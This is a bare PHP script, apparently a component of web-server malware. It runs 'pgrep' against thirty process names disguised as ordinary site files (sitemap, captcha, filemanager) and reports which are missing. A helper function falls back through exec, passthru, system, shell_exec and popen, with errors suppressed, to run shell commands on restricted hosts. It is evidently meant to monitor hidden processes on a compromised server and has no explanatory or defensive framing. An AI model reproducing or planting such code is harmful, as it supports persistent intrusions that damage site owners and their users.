<?php   $files = ['sp_getthumb','google_sitemap','tellafriend','coursesLinks','services_files','auth_ldap','mysql.dbi.lib','captcha.class','xmlrpctag','ThumbLib.inc','yahooanswers','typoscript','contenttype.news','InputFilter','data_modules_mcp','theme_font','pressconference','dig_exhib','register8','tbl_properties','usergroup_6','install.bak','fitness_goals','randomscript','Hypertext','rate_report05','freesansb','filemanager','testForms','columns.inc']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }